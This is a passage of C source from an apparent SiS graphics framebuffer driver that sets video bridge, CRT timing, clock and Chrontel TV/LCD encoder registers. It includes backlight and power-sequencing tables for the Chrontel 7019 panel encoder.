modeflag, temp, resinfo; unsigned int tempebx, tempeax, templong; if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; resinfo = 0; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; } if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x24,0x0e); } } } if(SiS_Pr->SiS_VBType & (VB_SIS30xCLV | VB_SIS302LV)) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x10,0x9f); } } if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetDualLinkEtc(SiS_Pr); return; } } SiS_SetReg(SiS_Pr->SiS_Part4Port,0x13,SiS_Pr->SiS_RVBHCFACT); tempbx = SiS_Pr->SiS_RVBHCMAX; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x14,tempbx); temp = (tempbx >> 1) & 0x80; tempcx = SiS_Pr->SiS_VGAHT - 1; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x16,tempcx); temp |= ((tempcx >> 5) & 0x78); tempcx = SiS_Pr->SiS_VGAVT - 1; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) tempcx -= 5; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x17,tempcx); temp |= ((tempcx >> 8) & 0x07); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x15,temp); tempbx = SiS_Pr->SiS_VGAHDE; if(modeflag & HalfDCLK) tempbx >>= 1; if(SiS_IsDualLink(SiS_Pr)) tempbx >>= 1; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { temp = 0; if(tempbx > 800) temp = 0x60; } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { temp = 0; if(tempbx > 1024) temp = 0xC0; else if(tempbx >= 960) temp = 0xA0; } else if(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p | TVSetYPbPr750p)) { temp = 0; if(tempbx >= 1280) temp = 0x40; else if(tempbx >= 1024) temp = 0x20; } else { temp = 0x80; if(tempbx >= 1024) temp = 0xA0; } temp |= SiS_Pr->Init_P4_0E; if(SiS_Pr->SiS_VBType & VB_SIS301) { if(SiS_Pr->SiS_LCDResInfo != Panel_1280x1024) { temp &= 0xf0; temp |= 0x0A; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x0E,0x10,temp); tempeax = SiS_Pr->SiS_VGAVDE; tempebx = SiS_Pr->SiS_VDE; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(!(temp & 0xE0)) tempebx >>=1; } tempcx = SiS_Pr->SiS_RVBHRS; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x18,tempcx); tempcx >>= 8; tempcx |= 0x40; if(tempeax <= tempebx) { tempcx ^= 0x40; } else { tempeax -= tempebx; } tempeax *= (256 * 1024); templong = tempeax % tempebx; tempeax /= tempebx; if(templong) tempeax++; temp = (unsigned short)(tempeax & 0x000000FF); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1B,temp); temp = (unsigned short)((tempeax & 0x0000FF00) >> 8); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1A,temp); temp = (unsigned short)((tempeax >> 12) & 0x70); /* sic! */ temp |= (tempcx & 0x4F); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x19,temp); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1C,0x28); /* Calc Linebuffer max address and set/clear decimode */ tempbx = 0; if(SiS_Pr->SiS_TVMode & (TVSetHiVision | TVSetYPbPr750p)) tempbx = 0x08; tempax = SiS_Pr->SiS_VGAHDE; if(modeflag & HalfDCLK) tempax >>= 1; if(SiS_IsDualLink(SiS_Pr)) tempax >>= 1; if(tempax > 800) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { tempax -= 800; } else { tempbx = 0x08; if(tempax == 960) tempax *= 25; /* Correct */ else if(tempax == 1024) tempax *= 25; else tempax *= 20; temp = tempax % 32; tempax /= 32; if(temp) tempax++; tempax++; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(resinfo == SIS_RI_1024x768 || resinfo == SIS_RI_1024x576 || resinfo == SIS_RI_1280x1024 || resinfo == SIS_RI_1280x720) { /* Otherwise white line or garbage at right edge */ tempax = (tempax & 0xff00) | 0x20; } } } } tempax--; temp = ((tempax >> 4) & 0x30) | tempbx; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1D,tempax); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x1E,temp); temp = 0x0036; tempbx = 0xD0; if((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->SiS_VBType & VB_SISLVDS)) { temp = 0x0026; tempbx = 0xC0; /* See En/DisableBridge() */ } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(!(SiS_Pr->SiS_TVMode & (TVSetNTSC1024 | TVSetHiVision | TVSetYPbPr750p | TVSetYPbPr525p))) { temp |= 0x01; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(!(SiS_Pr->SiS_TVMode & TVSetTVSimuMode)) { temp &= ~0x01; } } } } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x1F,tempbx,temp); tempbx = SiS_Pr->SiS_HT >> 1; if(SiS_IsDualLink(SiS_Pr)) tempbx >>= 1; tempbx -= 2; SiS_SetReg(SiS_Pr->SiS_Part4Port,0x22,tempbx); temp = (tempbx >> 5) & 0x38; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x21,0xC0,temp); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x24,0x0e); /* LCD-too-dark-error-source, see FinalizeLCD() */ } } SiS_SetDualLinkEtc(SiS_Pr); } /* 301B */ SiS_SetCRT2VCLK(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } /*********************************************/ /* SET PART 5 REGISTER GROUP */ /*********************************************/ static void SiS_SetGroup5(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) return; if(SiS_Pr->SiS_ModeType == ModeVGA) { if(!(SiS_Pr->SiS_VBInfo & (SetInSlaveMode | LoadDACFlag))) { SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); SiS_LoadDAC(SiS_Pr, ModeNo, ModeIdIndex); } } } /*********************************************/ /* MODIFY CRT1 GROUP FOR SLAVE MODE */ /*********************************************/ static bool SiS_GetLVDSCRT1Ptr(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex, unsigned short *ResIndex, unsigned short *DisplayType) { unsigned short modeflag = 0; bool checkhd = true; /* Pass 1:1 not supported here */ if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; (*ResIndex) = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; (*ResIndex) = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; } (*ResIndex) &= 0x3F; if((SiS_Pr->SiS_IF_DEF_CH70xx) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { (*DisplayType) = 80; if((SiS_Pr->SiS_TVMode & TVSetPAL) && (!(SiS_Pr->SiS_TVMode & TVSetPALM))) { (*DisplayType) = 82; if(SiS_Pr->SiS_ModeType > ModeVGA) { if(SiS_Pr->SiS_CHSOverScan) (*DisplayType) = 84; } } if((*DisplayType) != 84) { if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) (*DisplayType)++; } } else { (*DisplayType = 0); switch(SiS_Pr->SiS_LCDResInfo) { case Panel_320x240_1: (*DisplayType) = 50; checkhd = false; break; case Panel_320x240_2: (*DisplayType) = 14; break; case Panel_320x240_3: (*DisplayType) = 18; break; case Panel_640x480: (*DisplayType) = 10; break; case Panel_1024x600: (*DisplayType) = 26; break; default: return true; } if(checkhd) { if(modeflag & HalfDCLK) (*DisplayType)++; } if(SiS_Pr->SiS_LCDResInfo == Panel_1024x600) { if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) (*DisplayType) += 2; } } return true; } static void SiS_ModCRT1CRTC(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short tempah, i, modeflag, j, ResIndex, DisplayType; const struct SiS_LVDSCRT1Data *LVDSCRT1Ptr=NULL; static const unsigned short CRIdx[] = { 0x00, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x10, 0x11, 0x15, 0x16 }; if((SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024) || (SiS_Pr->SiS_CustomT == CUT_PANEL848) || (SiS_Pr->SiS_CustomT == CUT_PANEL856) ) return; if(SiS_Pr->SiS_IF_DEF_LVDS) { if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) return; } } else if(SiS_Pr->SiS_VBType & VB_SISVB) { if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) return; } else return; if(SiS_Pr->SiS_LCDInfo & LCDPass11) return; if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_SetFlag & SetDOSMode) return; } if(!(SiS_GetLVDSCRT1Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex, &ResIndex, &DisplayType))) { return; } switch(DisplayType) { case 50: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1320x240_1; break; /* xSTN */ case 14: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1320x240_2; break; /* xSTN */ case 15: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1320x240_2_H; break; /* xSTN */ case 18: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1320x240_3; break; /* xSTN */ case 19: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1320x240_3_H; break; /* xSTN */ case 10: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1640x480_1; break; case 11: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT1640x480_1_H; break; #if 0 /* Works better with calculated numbers */ case 26: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT11024x600_1; break; case 27: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT11024x600_1_H; break; case 28: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT11024x600_2; break; case 29: LVDSCRT1Ptr = SiS_Pr->SiS_LVDSCRT11024x600_2_H; break; #endif case 80: LVDSCRT1Ptr = SiS_Pr->SiS_CHTVCRT1UNTSC; break; case 81: LVDSCRT1Ptr = SiS_Pr->SiS_CHTVCRT1ONTSC; break; case 82: LVDSCRT1Ptr = SiS_Pr->SiS_CHTVCRT1UPAL; break; case 83: LVDSCRT1Ptr = SiS_Pr->SiS_CHTVCRT1OPAL; break; case 84: LVDSCRT1Ptr = SiS_Pr->SiS_CHTVCRT1SOPAL; break; } if(LVDSCRT1Ptr) { SiS_SetRegAND(SiS_Pr->SiS_P3d4,0x11,0x7f); for(i = 0; i <= 10; i++) { tempah = (LVDSCRT1Ptr + ResIndex)->CR[i]; SiS_SetReg(SiS_Pr->SiS_P3d4,CRIdx[i],tempah); } for(i = 0x0A, j = 11; i <= 0x0C; i++, j++) { tempah = (LVDSCRT1Ptr + ResIndex)->CR[j]; SiS_SetReg(SiS_Pr->SiS_P3c4,i,tempah); } tempah = (LVDSCRT1Ptr + ResIndex)->CR[14] & 0xE0; SiS_SetRegANDOR(SiS_Pr->SiS_P3c4,0x0E,0x1f,tempah); if(ModeNo <= 0x13) modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; else modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; tempah = ((LVDSCRT1Ptr + ResIndex)->CR[14] & 0x01) << 5; if(modeflag & DoubleScanMode) tempah |= 0x80; SiS_SetRegANDOR(SiS_Pr->SiS_P3d4,0x09,~0x020,tempah); } else { SiS_CalcLCDACRT1Timing(SiS_Pr, ModeNo, ModeIdIndex); } } /*********************************************/ /* SET CRT2 ECLK */ /*********************************************/ static void SiS_SetCRT2ECLK(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short clkbase, vclkindex = 0; unsigned char sr2b, sr2c; if(SiS_Pr->SiS_LCDInfo & LCDPass11) { SiS_Pr->SiS_SetFlag &= (~ProgrammingCRT2); if(SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRTVCLK == 2) { RefreshRateTableIndex--; } vclkindex = SiS_GetVCLK2Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); SiS_Pr->SiS_SetFlag |= ProgrammingCRT2; } else { vclkindex = SiS_GetVCLK2Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } sr2b = SiS_Pr->SiS_VCLKData[vclkindex].SR2B; sr2c = SiS_Pr->SiS_VCLKData[vclkindex].SR2C; if((SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024)) { if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x220] & 0x01) { sr2b = ROMAddr[0x227]; sr2c = ROMAddr[0x228]; } } } clkbase = 0x02B; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { clkbase += 3; } } SiS_SetReg(SiS_Pr->SiS_P3c4,0x31,0x20); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase,sr2b); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase+1,sr2c); SiS_SetReg(SiS_Pr->SiS_P3c4,0x31,0x10); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase,sr2b); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase+1,sr2c); SiS_SetReg(SiS_Pr->SiS_P3c4,0x31,0x00); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase,sr2b); SiS_SetReg(SiS_Pr->SiS_P3c4,clkbase+1,sr2c); } /*********************************************/ /* SET UP CHRONTEL CHIPS */ /*********************************************/ static void SiS_SetCHTVReg(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short TVType, resindex; const struct SiS_CHTVRegData *CHTVRegData = NULL; if(ModeNo <= 0x13) resindex = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; else resindex = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; resindex &= 0x3F; TVType = 0; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) TVType += 1; if(SiS_Pr->SiS_TVMode & TVSetPAL) { TVType += 2; if(SiS_Pr->SiS_ModeType > ModeVGA) { if(SiS_Pr->SiS_CHSOverScan) TVType = 8; } if(SiS_Pr->SiS_TVMode & TVSetPALM) { TVType = 4; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) TVType += 1; } else if(SiS_Pr->SiS_TVMode & TVSetPALN) { TVType = 6; if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) TVType += 1; } } switch(TVType) { case 0: CHTVRegData = SiS_Pr->SiS_CHTVReg_UNTSC; break; case 1: CHTVRegData = SiS_Pr->SiS_CHTVReg_ONTSC; break; case 2: CHTVRegData = SiS_Pr->SiS_CHTVReg_UPAL; break; case 3: CHTVRegData = SiS_Pr->SiS_CHTVReg_OPAL; break; case 4: CHTVRegData = SiS_Pr->SiS_CHTVReg_UPALM; break; case 5: CHTVRegData = SiS_Pr->SiS_CHTVReg_OPALM; break; case 6: CHTVRegData = SiS_Pr->SiS_CHTVReg_UPALN; break; case 7: CHTVRegData = SiS_Pr->SiS_CHTVReg_OPALN; break; case 8: CHTVRegData = SiS_Pr->SiS_CHTVReg_SOPAL; break; default: CHTVRegData = SiS_Pr->SiS_CHTVReg_OPAL; break; } if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) { #ifdef CONFIG_FB_SIS_300 /* Chrontel 7005 - I assume that it does not come with a 315 series chip */ /* We don't support modes >800x600 */ if (resindex > 5) return; if(SiS_Pr->SiS_TVMode & TVSetPAL) { SiS_SetCH700x(SiS_Pr,0x04,0x43); /* 0x40=76uA (PAL); 0x03=15bit non-multi RGB*/ SiS_SetCH700x(SiS_Pr,0x09,0x69); /* Black level for PAL (105)*/ } else { SiS_SetCH700x(SiS_Pr,0x04,0x03); /* upper nibble=71uA (NTSC), 0x03=15bit non-multi RGB*/ SiS_SetCH700x(SiS_Pr,0x09,0x71); /* Black level for NTSC (113)*/ } SiS_SetCH700x(SiS_Pr,0x00,CHTVRegData[resindex].Reg[0]); /* Mode register */ SiS_SetCH700x(SiS_Pr,0x07,CHTVRegData[resindex].Reg[1]); /* Start active video register */ SiS_SetCH700x(SiS_Pr,0x08,CHTVRegData[resindex].Reg[2]); /* Position overflow register */ SiS_SetCH700x(SiS_Pr,0x0a,CHTVRegData[resindex].Reg[3]); /* Horiz Position register */ SiS_SetCH700x(SiS_Pr,0x0b,CHTVRegData[resindex].Reg[4]); /* Vertical Position register */ /* Set minimum flicker filter for Luma channel (SR1-0=00), minimum text enhancement (S3-2=10), maximum flicker filter for Chroma channel (S5-4=10) =00101000=0x28 (When reading, S1-0->S3-2, and S3-2->S1-0!) */ SiS_SetCH700x(SiS_Pr,0x01,0x28); /* Set video bandwidth High bandwidth Luma composite video filter(S0=1) low bandwidth Luma S-video filter (S2-1=00) disable peak filter in S-video channel (S3=0) high bandwidth Chroma Filter (S5-4=11) =00110001=0x31 */ SiS_SetCH700x(SiS_Pr,0x03,0xb1); /* old: 3103 */ /* Register 0x3D does not exist in non-macrovision register map (Maybe this is a macrovision register?) */ #ifndef SIS_CP SiS_SetCH70xx(SiS_Pr,0x3d,0x00); #endif /* Register 0x10 only contains 1 writable bit (S0) for sensing, all other bits a read-only. Macrovision? */ SiS_SetCH70xxANDOR(SiS_Pr,0x10,0x00,0x1F); /* Register 0x11 only contains 3 writable bits (S0-S2) for contrast enhancement (set to 010 -> gain 1 Yout = 17/16*(Yin-30) ) */ SiS_SetCH70xxANDOR(SiS_Pr,0x11,0x02,0xF8); /* Clear DSEN */ SiS_SetCH70xxANDOR(SiS_Pr,0x1c,0x00,0xEF); if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) { /* ---- NTSC ---- */ if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) { if(resindex == 0x04) { /* 640x480 overscan: Mode 16 */ SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x01,0xFE); /* ACIV on, no need to set FSCI */ } else if(resindex == 0x05) { /* 800x600 overscan: Mode 23 */ SiS_SetCH70xxANDOR(SiS_Pr,0x18,0x01,0xF0); /* 0x18-0x1f: FSCI 469,762,048 */ SiS_SetCH70xxANDOR(SiS_Pr,0x19,0x0C,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1a,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1b,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1c,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1d,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1e,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1f,0x00,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x01,0xEF); /* Loop filter on for mode 23 */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x00,0xFE); /* ACIV off, need to set FSCI */ } } else { if(resindex == 0x04) { /* ----- 640x480 underscan; Mode 17 */ SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x01,0xFE); } else if(resindex == 0x05) { /* ----- 800x600 underscan: Mode 24 */ #if 0 SiS_SetCH70xxANDOR(SiS_Pr,0x18,0x01,0xF0); /* (FSCI was 0x1f1c71c7 - this is for mode 22) */ SiS_SetCH70xxANDOR(SiS_Pr,0x19,0x09,0xF0); /* FSCI for mode 24 is 428,554,851 */ SiS_SetCH70xxANDOR(SiS_Pr,0x1a,0x08,0xF0); /* 198b3a63 */ SiS_SetCH70xxANDOR(SiS_Pr,0x1b,0x0b,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1c,0x04,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1d,0x01,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1e,0x06,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x1f,0x05,0xF0); SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off for mode 24 */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x00,0xFE); * ACIV off, need to set FSCI */ #endif /* All alternatives wrong (datasheet wrong?), don't use FSCI */ SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x01,0xFE); } } } else { /* ---- PAL ---- */ /* We don't play around with FSCI in PAL mode */ if(resindex == 0x04) { SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x01,0xFE); /* ACIV on */ } else { SiS_SetCH70xxANDOR(SiS_Pr,0x20,0x00,0xEF); /* loop filter off */ SiS_SetCH70xxANDOR(SiS_Pr,0x21,0x01,0xFE); /* ACIV on */ } } #endif /* 300 */ } else { /* Chrontel 7019 - assumed that it does not come with a 300 series chip */ #ifdef CONFIG_FB_SIS_315 unsigned short temp; /* We don't support modes >1024x768 */ if (resindex > 6) return; temp = CHTVRegData[resindex].Reg[0]; if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) temp |= 0x10; SiS_SetCH701x(SiS_Pr,0x00,temp); SiS_SetCH701x(SiS_Pr,0x01,CHTVRegData[resindex].Reg[1]); SiS_SetCH701x(SiS_Pr,0x02,CHTVRegData[resindex].Reg[2]); SiS_SetCH701x(SiS_Pr,0x04,CHTVRegData[resindex].Reg[3]); SiS_SetCH701x(SiS_Pr,0x03,CHTVRegData[resindex].Reg[4]); SiS_SetCH701x(SiS_Pr,0x05,CHTVRegData[resindex].Reg[5]); SiS_SetCH701x(SiS_Pr,0x06,CHTVRegData[resindex].Reg[6]); temp = CHTVRegData[resindex].Reg[7]; if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) temp = 0x66; SiS_SetCH701x(SiS_Pr,0x07,temp); SiS_SetCH701x(SiS_Pr,0x08,CHTVRegData[resindex].Reg[8]); SiS_SetCH701x(SiS_Pr,0x15,CHTVRegData[resindex].Reg[9]); SiS_SetCH701x(SiS_Pr,0x1f,CHTVRegData[resindex].Reg[10]); SiS_SetCH701x(SiS_Pr,0x0c,CHTVRegData[resindex].Reg[11]); SiS_SetCH701x(SiS_Pr,0x0d,CHTVRegData[resindex].Reg[12]); SiS_SetCH701x(SiS_Pr,0x0e,CHTVRegData[resindex].Reg[13]); SiS_SetCH701x(SiS_Pr,0x0f,CHTVRegData[resindex].Reg[14]); SiS_SetCH701x(SiS_Pr,0x10,CHTVRegData[resindex].Reg[15]); temp = SiS_GetCH701x(SiS_Pr,0x21) & ~0x02; /* D1 should be set for PAL, PAL-N and NTSC-J, but I won't do that for PAL unless somebody tells me to do so. Since the BIOS uses non-default CIV values and blacklevels, this might be compensated anyway. */ if(SiS_Pr->SiS_TVMode & (TVSetPALN | TVSetNTSCJ)) temp |= 0x02; SiS_SetCH701x(SiS_Pr,0x21,temp); #endif /* 315 */ } #ifdef SIS_CP SIS_CP_INIT301_CP3 #endif } #ifdef CONFIG_FB_SIS_315 /* ----------- 315 series only ---------- */ void SiS_Chrontel701xBLOn(struct SiS_Private *SiS_Pr) { unsigned short temp; /* Enable Chrontel 7019 LCD panel backlight */ if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_Pr->ChipType == SIS_740) { SiS_SetCH701x(SiS_Pr,0x66,0x65); } else { temp = SiS_GetCH701x(SiS_Pr,0x66); temp |= 0x20; SiS_SetCH701x(SiS_Pr,0x66,temp); } } } void SiS_Chrontel701xBLOff(struct SiS_Private *SiS_Pr) { unsigned short temp; /* Disable Chrontel 7019 LCD panel backlight */ if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { temp = SiS_GetCH701x(SiS_Pr,0x66); temp &= 0xDF; SiS_SetCH701x(SiS_Pr,0x66,temp); } } static void SiS_ChrontelPowerSequencing(struct SiS_Private *SiS_Pr) { static const unsigned char regtable[] = { 0x67, 0x68, 0x69, 0x6a, 0x6b }; static const unsigned char table1024_740[] = { 0x01, 0x02, 0x01, 0x01, 0x01 }; static const unsigned char table1400_740[] = { 0x01, 0x6e, 0x01, 0x01, 0x01 }; static const unsigned char asus1024_740[] = { 0x19, 0x6e, 0x01, 0x19, 0x09 }; static const unsigned char asus1400_740[] = { 0x19, 0x6e, 0x01, 0x19, 0x09 }; static const unsigned char table1024_650[] = { 0x01, 0x02, 0x01, 0x01, 0x02 }; static const unsigned char table1400_650[] = { 0x01, 0x02, 0x01, 0x01, 0x02 }; const unsigned char *tableptr = NULL; int i; /* Set up Power up/down timing */ if(SiS_Pr->ChipType == SIS_740) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->SiS_CustomT == CUT_ASUSL3000D) tableptr = asus1024_740; else tableptr = table1024_740; } else if((SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) || (SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) || (SiS_Pr->SiS_LCDResInfo == Panel_1600x1200)) { if(SiS_Pr->SiS_CustomT == CUT_ASUSL3000D) tableptr = asus1400_740; else tableptr = table1400_740; } else return; } else { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { tableptr = table1024_650; } else if((SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) || (SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) || (SiS_Pr->SiS_LCDResInfo == Panel_1600x1200)) { tableptr = table1400_650; } else return; } for(i=0; i<5; i++) { SiS_SetCH701x(SiS_Pr, regtable[i], tableptr[i]); } } static void SiS_SetCH701xForLCD(struct SiS_Private *SiS_Pr) { const unsigned char *tableptr = NULL; unsigned short tempbh; int i; static const unsigned char regtable[] = { 0x1c, 0x5f, 0x64, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x76, 0x78, 0x7d, 0x66 }; static const unsigned char table1024_740[] = { 0x60, 0x02, 0x00, 0x07, 0x40, 0xed, 0xa3, 0xc8, 0xc7, 0xac, 0xe0, 0x02, 0x44 }; static const unsigned char table1280_740[] = { 0x60, 0x03, 0x11, 0x00, 0x40, 0xe3, 0xad, 0xdb, 0xf6, 0xac, 0xe0, 0x02, 0x44 }; static const unsigned char table1400_740[] = { 0x60, 0x03, 0x11, 0x00, 0x40, 0xe3, 0xad, 0xdb, 0xf6, 0xac, 0xe0, 0x02, 0x44 }; static const unsigned char table1600_740[] = { 0x60, 0x04, 0x11, 0x00, 0x40, 0xe3, 0xad, 0xde, 0xf6, 0xac, 0x60, 0x1a, 0x44 }; static const unsigned char table1024_650[] = { 0x60, 0x02, 0x00, 0x07, 0x40, 0xed, 0xa3, 0xc8, 0xc7, 0xac, 0x60, 0x02 }; static const unsigned char table1280_650[] = { 0x60, 0x03, 0x11, 0x00, 0x40, 0xe3, 0xad, 0xdb, 0xf6, 0xac, 0xe0, 0x02 }; static const unsigned char table1400_650[] = { 0x60, 0x03, 0x11, 0x00, 0x40, 0xef, 0xad, 0xdb, 0xf6, 0xac, 0x60, 0x02 }; static const unsigned char table1600_650[] = { 0x60, 0x04, 0x11, 0x00, 0x40, 0xe3, 0xad, 0xde, 0xf6, 0xac, 0x60, 0x1a }; if(SiS_Pr->ChipType == SIS_740) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) tableptr = table1024_740; else if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) tableptr = table1280_740; else if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) tableptr = table1400_740; else if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) tableptr = table1600_740; else return; } else { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) tableptr = table1024_650; else if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) tableptr = table1280_650; else if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) tableptr = table1400_650; else if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) tableptr = table1600_650; else return; 